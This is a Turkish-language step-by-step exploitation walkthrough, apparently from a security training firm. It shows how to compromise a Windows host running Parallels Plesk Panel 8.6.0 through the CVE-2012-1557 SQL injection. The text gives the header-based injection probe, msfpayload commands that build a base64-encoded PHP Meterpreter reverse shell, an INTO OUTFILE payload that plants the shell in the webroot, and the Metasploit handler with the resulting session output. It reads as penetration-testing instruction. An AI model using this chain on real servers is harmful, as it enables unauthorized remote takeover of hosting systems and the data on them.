Bu yazı hosting sistemlerinde yönetim amaçlı kullanılan Plesk Panel yazılımına ait 8.6.0 versiyonunda çıkmış SQL injection zafiyetinin(CVE-2012-1557) istismar edilerek arka planda çalışan işletim sisteminin (yazıda Windows örneği kullanılmıştır) ele geçirilmesi adımlarını anlatmaktadır.
Senaryo :
Paralell Plesk Panel 8.6.0(CVE-2012-1557) SQL Enjeksiyon istismarı ile hedef sistemi ele geçirme.
Kullanılan Araçlar :
PHP Meterpreter Ajanı(Metasploit ile oluşturulacak.)
Burp, Tamper Data ya da HTTP Header’ı Düzenleyen Araç vs… Araç
Yapıldığı Test Ortamı :
Windows Server 2008 R2
İstismara Sebep olan Yöntem :
İstismar, API RPC Protokolunu kullanan sistemden kaynaklanıyor. API RPC, Panel ile 3. parti yazılımları arasında kopru gorevi goren bir protokoldur. API RPC üzerinden bir işlemi gerçekleştirebilmek için kullanacağımız noktalardan bir tanesi (https://[IP ADRESI]/enterprise/control/agent.php) üzerinden üzerinden HTTP isteği göndermemiz gerekiyor. Bize geriye XML çıktı göndermektedir.
Bu XML bir çeşit hata mesajı yada data geriye sonuc olarak döndürmektedir. Protokol istekleri bir XML yapıya göre işlediği için, en azından boş değere sahip xml etiketlerini belirtmemiz gerekiyor. (Aşağıda belitilmiştir.)
Buradan HTTP üzerinden gönderebileceğimiz HTTP_AUTH_LOGIN ve HTTP_AUTH_PASSWD parametrelerini kullanmak zorundayız. Protokol Panelin kullanmış olduğu(MySQL yada MSSQL) üzerinden sorgulamalar yapmaktadır. Bu sorgulamalar yapılırken HTTP_AUTH_LOGIN parametresi üzerinde hiç bir önlem alınmamış.
Birinci Adım : SQL Enjeksiyonun Tespiti
Header içeriği :
POST
HTTP_AUTH_LOGIN: ‘
HTTP_AUTH_PASSWD: bgatest
Content-type: text/xml
Cookie: ASPSESSIONIDACSSBBAD=HMILPMGDCDINOCGDAEAOHJNF
Host: 6.6.6.4:8443
Content-Length: 89
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
Content-Type: text/xml
Header isteğimizi gönderdikten sonraki bize dönen sonuç, bir sql enjeksiyon istismarı olduğunu gösteriyor.
Çıktı :
error
1002
DB query failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ””’ at line 1
C:ParallelsPleskadminplibcommon_func.php3:243
C:ParallelsPleskadminplibclass.AdminAlias.php:313
C:ParallelsPleskadminplibcmd_loginup.php:147
C:ParallelsPleskadminplibapi-rpcAgent.php:134
C:ParallelsPleskadminhtdocsenterprisecontrolagent.php:22
İkinci Adım : Shell Oluşturulması
Sisteme arka kapı yazılımıyüklemek için Metasploit ile PHP Meterpreter ajanı oluşturulabilir. Bunun için;
msfpayload php/meterpreter/reverse_tcp LHOST=[IP ADRESINIZ] LPORT=6666 R > exploit.php
exploit.php dosyasının içeriğini açtığımız zaman,içerisinde reverse tcp bizim sisteme reverse tcp bağlantısı kurabilecek kodlar bulunmaktadır.
Oluşan dosya içerisinde yorum satırlarını kaldırarak, base 64 ile encode edilebilir.
sed -e ‘/^s*[@#]/ d’ exploit.php | base64 >> new_exploit.php
Böylelikle encode edilmiş istismar kodumuz oluşmuş oldu.
Üçüncü Adım : Shell Dosyasının Gönderilmesi
Oluşan base 64 kodunu alarak, header’a ekleyelim. Sadece yukarıda belirtilen headerdan aşağıdaki değişiklik yapılır.
HTTP_AUTH_LOGIN: ‘ UNION SELECT ‘<?php eval(base64_decode(“[BASE64 CODE]”)); ?>’ INTO OUTFILE ‘C:ParallelsPleskadminhtdocsenterprisecontrolshell.php’#
OUTFILE : Dosyanın çıktının nereye alınacağını belirtir. Normalde Plesk Panel, Kurulum yeri değiştirilmediği sürece “Program Files” altına yüklemektedir.
HTTP isteğini gönderdikten sonra Karşımız şu şekilde sonuç çıkacaktır. Bu işlemimizin başarılı olarak gerçekleştiğini ortaya koymaktadır.
Fatal error: Call to a member function fetch_row() on a non-object in C:ParallelsPleskadminplibcommon_func.php3 on line 337
Dördüncü Adım : Metasploit ile sistemi ele geçimek
Metasploit başlatılarak, use exploit/multi/handler diyerek dinleme moduna alınır. reverse_tcp payload modülü yüklenir.
msf > use exploit/multi/handler
msf exploit(handler) > set LHOST [IP_ADRESINIZ]
msf exploit(handler) > set LPORT 6666
LPORT => 6666
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.1.4:6666
[*] Starting the payload handler…
msf exploit(handler) > set LHOST [IP_ADRESINIZ]
msf exploit(handler) > set LPORT 6666
LPORT => 6666
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.1.4:6666
[*] Starting the payload handler…
Dinlemeyi başlattıktan sonra, shell’i attığınız dizinden tarayıcıdan sayfa çağırılır.
https://[IP_ADRESINIZ]:8443/enterprise/control/shell.php
Bu işlemden sonra hedef sistem artık ele geçirilmiştir.
[*] Sending stage (39848 bytes) to 6.6.6.4
[*] Meterpreter session 1 opened (6.6.6.154:6666 -> 6.6.6.4:49329) at 2014-01-07 18:46:50 +0200
meterpreter > sysinfo
Computer : WIN-KF2TKNVRA40
OS : Windows NT WIN-KF2TKNVRA40 6.1 build 7600
Meterpreter : php/php
Rizacan TUFAN < rizacan.tufan@bga.com.tr >